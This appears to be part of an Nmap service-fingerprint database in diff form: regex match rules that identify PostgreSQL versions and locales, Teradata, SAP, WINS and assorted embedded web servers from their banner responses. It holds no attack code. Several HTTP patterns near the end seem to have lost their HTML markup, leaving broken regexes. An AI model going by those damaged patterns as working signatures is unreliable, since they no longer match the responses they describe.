m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1709\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.2.14/ o/Windows/ cpe:/a:postgresql:postgresql:9.2.14/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1739\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.2.15 - 9.2.16/ o/Windows/ cpe:/a:postgresql:postgresql:9.2/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1742\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.2.17/ o/Windows/ cpe:/a:postgresql:postgresql:9.2.17/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1746\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.2.18 - 9.2.19/ o/Windows/ cpe:/a:postgresql:postgresql:9.2/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1747\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.2.20 - 9.2.21/ o/Windows/ cpe:/a:postgresql:postgresql:9.2/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1755\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.2.22 - 9.2.24/ o/Windows/ cpe:/a:postgresql:postgresql:9.2/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1837\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.3.0 - 9.3.2/ o/Windows/ cpe:/a:postgresql:postgresql:9.3/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1834\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.3.3 - 9.3.5/ o/Windows/ cpe:/a:postgresql:postgresql:9.3/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1872\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.3.6 - 9.3.9/ o/Windows/ cpe:/a:postgresql:postgresql:9.3/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1949\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.3.10/ o/Windows/ cpe:/a:postgresql:postgresql:9.3.10/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1849\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.4.0/ o/Windows/ cpe:/a:postgresql:postgresql:9.4.0/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1881\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.4.1 - 9.4.4/ o/Windows/ cpe:/a:postgresql:postgresql:9.4/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1955\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.4.5/ o/Windows/ cpe:/a:postgresql:postgresql:9.4.5/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1986\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.3.14 - 9.3.15 or 9.4.6 - 9.4.8/ o/Windows/ cpe:/a:postgresql:postgresql:9/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1987\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.3.16 - 9.3.17/ o/Windows/ cpe:/a:postgresql:postgresql:9.3/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1994\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.3.21 - 9.3.25/ o/Windows/ cpe:/a:postgresql:postgresql:9.3/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1990\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.4.9/ o/Windows/ cpe:/a:postgresql:postgresql:9.4.9/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L2000\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.4.10/ o/Windows/ cpe:/a:postgresql:postgresql:9.4.10/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L2001\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.4.11/ o/Windows/ cpe:/a:postgresql:postgresql:9.4.11/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L2002\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.4.12/ o/Windows/ cpe:/a:postgresql:postgresql:9.4.12/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L2010\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.4.13 - 9.4.15 or 9.4.22 - 9.4.26/ o/Windows/ cpe:/a:postgresql:postgresql:9.4/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L2009\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.4.16 - 9.4.21/ o/Windows/ cpe:/a:postgresql:postgresql:9.4/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1991\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.5.0 - 9.5.3/ o/Windows/ cpe:/a:postgresql:postgresql:9.5/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1995\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.3.18 - 9.3.20 or 9.5.4/ o/Windows/ cpe:/a:postgresql:postgresql:9/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L2005\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.5.5/ o/Windows/ cpe:/a:postgresql:postgresql:9.5.5/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L2006\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.5.6/ o/Windows/ cpe:/a:postgresql:postgresql:9.5.6/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L2007\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.5.7/ o/Windows/ cpe:/a:postgresql:postgresql:9.5.7/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L2015\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.5.8 - 9.5.10 or 9.5.17 - 9.5.21/ o/Windows/ cpe:/a:postgresql:postgresql:9.5/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L2014\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.5.11 - 9.5.16/ o/Windows/ cpe:/a:postgresql:postgresql:9.5/ cpe:/o:microsoft:windows/a +# 9.6.0 introduced a nonlocalized error message +match postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L2008\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.6.0 - 9.6.1/ o/Windows/ cpe:/a:postgresql:postgresql:9.6/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L2009\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.6.2/ o/Windows/ cpe:/a:postgresql:postgresql:9.6.2/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L2023\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.6.3/ o/Windows/ cpe:/a:postgresql:postgresql:9.6.3/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L2031\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.6.4 - 9.6.6 or 9.6.13 - 9.6.17/ o/Windows/ cpe:/a:postgresql:postgresql:9.6/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L2030\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.6.7 - 9.6.12/ o/Windows/ cpe:/a:postgresql:postgresql:9.6/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L2065\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/10.0 - 10.1 or 10.8 - 10.12/ o/Windows/ cpe:/a:postgresql:postgresql:10/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L2064\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/10.2 - 10.7/ o/Windows/ cpe:/a:postgresql:postgresql:10/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L2015\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/11.0 - 11.2/ o/Windows/ cpe:/a:postgresql:postgresql:11/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L2016\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/11.3 - 11.7/ o/Windows/ cpe:/a:postgresql:postgresql:11/ cpe:/o:microsoft:windows/a +# Unverified: does postgresql 12 have a different error message? +match postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L2060\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/12.0 - 12.2/ o/Windows/ cpe:/a:postgresql:postgresql:12/ cpe:/o:microsoft:windows/a + +# PostgreSQL - Language specific +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0Mnicht unterst\xc3\xbctztes Frontend-Protokoll 65363\.19778: Server unterst\xc3\xbctzt 1\.0 bis 3\.0\0Fpostmaster\.c\0L\d+\0|s p/PostgreSQL DB/ i/German; Unicode support/ cpe:/a:postgresql:postgresql::::de/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0Mnicht unterst.{1,2}tztes Frontend-Protokoll 65363\.19778: Server unterst.{1,2}tzt 1\.0 bis 3\.0\0Fpostmaster\.c\0L\d+\0|s p/PostgreSQL DB/ i/German/ cpe:/a:postgresql:postgresql::::de/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0MProtocole non support\xc3\xa9e de l'interface 65363\.19778: le serveur supporte de 1\.0 \xc3\xa0 3\.0\0Fpostmaster\.c\0L\d+\0|s p/PostgreSQL DB/ i/French; Unicode support/ cpe:/a:postgresql:postgresql::::fr/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0MProtocole non support\?e de l'interface 65363\.19778 : le serveur supporte de 1\.0 \?\n3\.0\0Fpostmaster\.c\0L1621\0RProcessStartupPacket\0\0| p/PostgreSQL DB/ v/8.4.1 - 8.4.11/ i/French/ cpe:/a:postgresql:postgresql:8.4:::fr/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0MProtocole non support\?e de l'interface 65363\.19778 : le serveur supporte de 1\.0 \?\n3\.0\0Fpostmaster\.c\0L1626\0RProcessStartupPacket\0\0$| p/PostgreSQL DB/ v/8.4.12/ i/French/ cpe:/a:postgresql:postgresql:8.4.12:::fr/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0MProtocole non support[e\xe9]e de l'interface 65363\.19778: le serveur supporte de 1\.0 [a\xe0] 3\.0\0Fpostmaster\.c\0L\d+\0|s p/PostgreSQL DB/ i/French/ cpe:/a:postgresql:postgresql::::fr/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0Mprotocole non support\xe9e de l'interface 65363\.19778: le serveur supporte de 1\.0 \xe0 3\.0\0Fpostmaster\.c\0L\d+\0|s p/PostgreSQL DB/ i/French/ cpe:/a:postgresql:postgresql::::fr/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0Mel protocolo 65363\.19778 no est..? soportado: servidor soporta 1\.0 hasta 3\.0\0Fpostmaster\.c\0L\d+\0|s p/PostgreSQL DB/ i/Spanish/ cpe:/a:postgresql:postgresql::::es/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0Mel protocolo 65363\.19778 no est\? permitido: servidor permite 1\.0 hasta 3\.0\0Fpostmaster\.c\0L\d+\0|s p/PostgreSQL DB/ i/Spanish/ cpe:/a:postgresql:postgresql::::es/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0Mprotocolo 65363\.19778 n\xe3o \xe9 suportado: servidor suporta 1\.0 a 3\.0\0Fpostmaster\.c\0L\d+\0|s p/PostgreSQL DB/ i/Portuguese/ cpe:/a:postgresql:postgresql::::pt/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0Mprotocolo do cliente 65363\.19778 n.{4,6} suportado: servidor suporta 1\.0 a 3\.0\0Fpostmaster\.c\0L\d+\0|s p/PostgreSQL DB/ i/Portuguese/ cpe:/a:postgresql:postgresql::::pt/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M\xd0\xbd\xd0\xb5\xd0\xbf\xd0\xbe\xd0\xb4\xd0\xb4\xd0\xb5\xd1\x80\xd0\xb6\xd0\xb8\xd0\xb2\xd0\xb0\xd0\xb5\xd0\xbc\xd1\x8b\xd0\xb9 \xd0\xba\xd0\xbb\xd0\xb8\xd0\xb5\xd0\xbd\xd1\x82\xd1\x81\xd0\xba\xd0\xb8\xd0\xb9 \xd0\xbf\xd1\x80\xd0\xbe\xd1\x82\xd0\xbe\xd0\xba\xd0\xbe\xd0\xbb 65363\.19778: \xd1\x81\xd0\xb5\xd1\x80\xd0\xb2\xd0\xb5\xd1\x80 \xd0\xbf\xd0\xbe\xd0\xb4\xd0\xb4\xd0\xb5\xd1\x80\xd0\xb6\xd0\xb8\xd0\xb2\xd0\xb0\xd0\xb5\xd1\x82 \xd0\xbe\xd1\x82 1\.0 \xd0\xb4\xd0\xbe 3\.0\0Fpostmaster\.c\0L\d+\0|s p/PostgreSQL DB/ i/Russian; Unicode support/ cpe:/a:postgresql:postgresql::::ru/ +# Supposed to be Ukrainian? submission came from a .ua domain. +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M\?\?\?\?\?\?\?\?\?\?\?\?\?\?\?\? \?\?\?\?\?\?\?\? \?\?\?\?\?\?\?\?\?\?\? \?\?\?\?\?\?\?\?\?\? 65363\.19778; \?\?\?\?\?\? \?\?\?\?\?\?\?\?\?\?\?\? 1\.0 - 3\.0 \0Fpostmaster\.c\0L1695\0RProcessStartupPacket\0\0$| p/PostgreSQL DB/ v/9.1.2 - 9.1.3/ cpe:/a:postgresql:postgresql:9.1::uk/ +# Korean +match postgresql m|^E\0\0\0\xb1S\xec\xb9\x98| p/PostgreSQL DB/ cpe:/a:postgresql:postgresql/ + +# PostgreSQL softmatch entries, put all hard matches above this line. +softmatch postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0MProtocole non support.{1,2}e de l'interface 65363| p/PostgreSQL DB/ i/French/ cpe:/a:postgresql:postgresql::::fr/ +softmatch postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0Mel protocolo 65363| p/PostgreSQL DB/ i/Spanish/ cpe:/a:postgresql:postgresql::::es/ +softmatch postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0Mnicht unterst.*?Frontend-Protokoll 65363\.19778:|s p/PostgreSQL DB/ i/German/ cpe:/a:postgresql:postgresql::::de/ +softmatch postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M\xe3\x83\x95\xe3\x83\xad\xe3\x83\xb3\xe3\x83\x88\xe3\x82\xa8\xe3\x83\xb3\xe3\x83\x89\xe3\x83\x97\xe3\x83\xad\xe3\x83\x88\xe3\x82\xb3\xe3\x83\xab|s p/PostgreSQL DB/ i/Japanese/ cpe:/a:postgresql:postgresql::::ja/ +softmatch postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*?1\.0.*?3\.0.*?\0Fpostmaster\.c\0|s p/PostgreSQL DB/ cpe:/a:postgresql:postgresql/ +softmatch postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*?1\.0.*?3\.0.*?\0F\.\\src\\backend\\postmaster\\postmaster\.c\0|s p/PostgreSQL DB/ o/Windows/ cpe:/a:postgresql:postgresql/ cpe:/o:microsoft:windows/a +softmatch postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0Munsupported frontend protocol 65363| p/PostgreSQL DB/ cpe:/a:postgresql:postgresql/ + +softmatch postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0M.*?65363\.19778.*?1\.0.*?3\.0.*?\0F\.\\src\\backend\\postmaster\\postmaster\.c\0|s p/PostgreSQL DB/ v/9.6.0 or later/ o/Windows/ cpe:/a:postgresql:postgresql/ cpe:/o:microsoft:windows/a +softmatch postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0Munsupported frontend protocol 65363| p/PostgreSQL DB/ v/9.6.0 or later/ cpe:/a:postgresql:postgresql/ + +match tcsd m|^\0\0\0\x1c\0\0 \x04\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0$| p/TCSD daemon/ + +# Teradata Database 13.10 +match teradata m|^\x03\x02\x01\0\0\0\0\0\x004\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x7f\0\0\0\0\0\0\0\0\0\0\0\0\0\x001\x004\0\0\0\0\0K\x1f\(\0The LAN message Format field is invalid\.| p/Teradata database/ + +match tng-dts m|^\0\0\0\$sequence_number=\[0\] result=\[-2005\] \0$| p/CA DTS Agent/ + +# SAP Release: SAP ECC (Enterprise Core Component) 6.0 on Windows 2003 +match sap-gui m|^\0\0\0\x0e\*\*DPTMMSG\*\*\0\0\xf8| p/SAP Gui Dispatcher/ cpe:/a:sap:gui/ + +match serversettingsd m|^\0\0\x004main\0\0\x01\0\0\0\0\x0c\0\0\0\0\0\0\0\x0c\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0quit\xff\xff\xff\xffcrpt$| p/Apple serversettingsd administration daemon/ o/Mac OS X/ cpe:/o:apple:mac_os_x/a +match spotify-login m|^\x01\0$| p/Spotify login server/ +match symantec-esm m|^\0\x01[#,]$| p/Symantec Enterprise Security Manager agent/ cpe:/a:symantec:enterprise_security_manager/ +# Windows 2000 Server Wins name resolution service +# Windows NT 4.0 Wins +# Windows 2003 WINS service +match wins m|^\0\0\0\x1e\xffS\xad\x80\0\0\0\x01\0\0\0\0\0\0\0\0\0\0\0...\0\0\x01\0\0\x81\0\x02|s p/Microsoft Windows Wins/ o/Windows/ cpe:/o:microsoft:windows/a + +match sap-its m|^\0\0\0\x0c\x01\x03\0\0\0\0\x07.\0\0\0\0\0\0\x07.Content-Type: text/html; charset=Windows-\d+\r\n\r\n\nLCFD Error 404\n| p/IBM Tivoli Endpoint httpd/ cpe:/a:ibm:tivoli_endpoint_manager/ +# Might be too general: +match http m|^HTTP/1\.0 200\r\nContent-type: text/html\r\n\r\nInvalid request$| p/IBM Tivoli Endpoint httpd/ cpe:/a:ibm:tivoli_endpoint_manager/ +match http m|^\n\n\n\n.*System Name   : ([^\r\n]+)\n.*Location Name : ([^\r\n]+)\n.*MAC Address    : ([-\w]+)\n\n|s p|Allnet/Cameo/D-Link switch http config| i/$1@$2; MAC $3/ d/switch/ +match http m|^HTTP/1\.1 401 Unauthorized\r\nContent-Type: text/html\r\nWWW-Authenticate: Digest realm=\"Raid Console\", qop=\"auth\", nonce=\"\w+\"\r\nContent-Length: 0\r\n\r\n| p/Areca RAID-Controller http config/ +match http m|^HTTP/1\.1 404 Not Found\r\n\r\n404 Not Found: \[/nice ports,/Trinity\.txt\.bak\]$| p/SHTTPD/ +match http m|^HTTP/1\.0 404 Not Found\r\n.*\r\n

          URL demand\xe9e introuvable\.

          |s p/Lexmark Optra T610 printer http config/ i/French/ d/printer/ cpe:/h:lexmark:optra_t610/a +match http m|^HTTP/1\.0 403 File not found - unknown extension\r\n\r\n| p|apt-cache/apt-proxy httpd| o/Linux/ cpe:/o:linux:linux_kernel/a +match http m|^HTTP/1\.1 403 Sorry, not allowed to fetch that type of file: Tri%6Eity\.txt%2ebak\r\n\r\n| p/apt-cache httpd/ +match http m|^HTTP/1\.0 304 Not Modified\r\nContent-Length: 0\r\nServer: Unknown\r\n\r\n| p/McData 4500 fibre switch http config/ d/switch/ +match http m|^HTTP/1\.1 404 Not Found\r\nServer: KM-httpd/([-\w_.]+)\r\n.*HTTP Response Code: 404
          From server at: ([-\w_.]+)
          |s p/Konica Minolta printer http config/ v/$1/ d/printer/ h/$2/ +match http m|^HTTP/1\.0 404 Object Not Found\r\nContent-Type: text/html\r\n\r\n

          HTTP/1\.0 404 Object Not Found\r\n

          | p/Microsoft IIS httpd/ v/3.X/ o/Windows/ cpe:/a:microsoft:internet_information_services:3/ cpe:/o:microsoft:windows/a +match http m|^HTTP/1\.0 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: Medusa/([\w.]+)\r\n.*Asterisk/DeStar PBX :: Page not found\n|s p/Medusa httpd/ v/$1/ i/Destar Asterisk PBX http config/ +match http m|^HTTP/1\.1 404 Can't find file\r\n$| p|Dynamode/Motorola WAP http config| d/WAP/ +match http m|^HTTP/1\.0 404 Not Found\r\n(?:[^\r\n]+\r\n)*?Server: lighttpd/([\d.]+)\r\n|s p/lighttpd/ v/$1/ cpe:/a:lighttpd:lighttpd:$1/ +match http m|^HTTP/1\.0 200 OK\r\nContent-Type: text/html\r\nContent-Length: 241\r\n\r\nPOPFile Web Server Error 404| p/POPFile web control interface/ +match http m|^HTTP/1\.0 400 No any servlet found for serving /\r\ncontent-type: text/html\r\nconnection: keep-alive\r\ncontent-length: \d+\r\nmime-version: [\d.]+\r\n\r\n<HTML><HEAD><TITLE>400 No any servlet found for serving /

          400 No any servlet found for serving /


          Rogatkin's JWS based on Acme\.Serve Version ([\w._-]+), \$Revision: ([\w._-]+) \$| p/Rogatkin's JWS httpd/ v/$2/ i/Based on Acme.Serve $1/ +match http m|^HTTP/1\.1 404 Not Found\r\nContent-Type: text/html\r\nConnection: close\r\n\r\n\n \n Linksys PAP2 Configuration\r\n| p/Linksys PAP2 VoIP http config/ d/VoIP adapter/ +match http m|^HTTP/1\.1 200 OK.*\nServer: HPSMH\n.*\nSystem Management Homepage|s p/HP System Management Homepage/ o/HP-UX/ cpe:/a:hp:system_management_homepage/ cpe:/o:hp:hp-ux/a +match http m|^HTTP/1\.0 499 Unauthorized user access\. Check User/Password/Scope\. \r\nContent-Length: \d+\r\nContent-Type: text/html\r\nConnection: close\r\n\r\nAccess Denied

          Navi Error\. Access Denied\.

          Please check the typed URL\.

          | p|Dell/EMC CX300 Navisphere http config| d/storage-misc/ +match http m|^HTTP/1\.1 200 OK\r\nConnection: close\r\nContent-Length: 0\r\nServer: Indy/([\w._-]+)\r\nSet-Cookie: IDHTTPSESSIONID=\w+; path=/\r\n\r\n$| p/Indy httpd/ v/$1/ i/MediaPortal TV-Server http config/ d/media device/ cpe:/a:indy:httpd:$1/ +match http m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: Indy/([\w._-]+)\r\n|s p/Indy httpd/ v/$1/ cpe:/a:indy:httpd:$1/ +match http m|^HTTP/1\.0 200 OK\r\nCache-Control: no-cache\r\nContent-Type:text/html\r\nContent-Length: +\d+\r\n\r\n.*size=\"2\">VoIP System Embedded \n\t\tWEB Server ([\w._-]+),|s p/Perfectone IP301 VoIP phone http config/ v/$1/ d/VoIP phone/ cpe:/h:perfectone:ip301/a +match http m|^HTTP/1\.0 200 OK\nContent-Type: text/html; charset=utf-8\nConnection: close\n\nUnknown operator\.$| p/Arc httpd/ +match http m|^HTTP/1\.0 403 Forbidden\r\n.*\r\nAbilis CPX - 403 forbidden|s p/Abilis CPX http config/ d/PBX/ +match http m|^HTTP/1\.1 200 OK\r\nConnection: close\r\nCache-Control: no-cache\r\nServer: WEBCAM\r\nCONTENT-LENGTH:\d+\r\n\r\n\r\nHTTP requested /nice%20ports%2C/Tri%6Eity\.txt%2ebak was not found UID (\d+) PID (\d+)\n| p/Pixord IP Camera http config/ i/UID $1; PID $2/ d/webcam/ +match http m|^\n\n\n\n.*
           System Name   : ([\w._-]+)\n.* MAC Address    : ([\w-]+)\n|s p/Web-Smart Gigabit Ethernet Switch http config/ i/MAC $2/ d/switch/ h/$1/ +match http m|^HTTP/1\.0 404 Not Found\r\n\r\nThis page does not exist or you are not authorized to view it| p/Google Search Appliance httpd/ d/specialized/ cpe:/a:google:search_appliance_software/ +match http m|^HTTP/1\.0 404 Document Follows\r\nContent-Type: text/html\r\nContent-Length: \d+\r\n\r\n404 Not Found\r\n

          404 Not Found

          \r\nUrl '/NICE%20PORTS%2C\\TRI%6EITY\.TXT%2EBAK' not found on server

          \r\n| p/HP StorageWorks MSL4048 http config/ d/storage-misc/ +match http m|^HTTP/1\.0 404 Document Follows\r\nContent-Type: text/html\r\nContent-Length: 147\r\n\r\n404 Not Found\r\n

          404 Not Found

          \r\nUrl '/nice%20ports%2C/Tri%6Eity\.txt%2ebak' not found on server

          \r\n| p/Crestron automation system httpd/ d/specialized/ cpe:/h:crestron/ +match http m|^HTTP/1\.1 404 (?:[^\r\n]*\r\n(?!\r\n))*?Server: WMI (V[\w._-]+)\r\n.*HTTP/1\.1 404 NOT FOUND!
          Check flash:/s3p03_00\.web , please\.|s p/WMI/ v/$1/ i/3Com 4500 switch http config/ d/switch/ cpe:/h:3com:4500/a +match http m|^HTTP/1\.0 401 Unauthorized\r\nWWW-Authenticate: Basic realm=\"/webpages\"\r\nServer: DigiSprite\r\n| p/DigiSprite httpd/ d/webcam/ +match http m|^HTTP/1\.1 301 Moved Permanently\r\nDate: .*\r\nLocation: https://([\w_.-]+)/nice%20ports%2C/Tri%6Eity\.txt%2ebak\r\nConnection: close\r\nContent-Type: text/html\r\nContent-Length: 56\r\n\r\n

          301 Moved Permanently

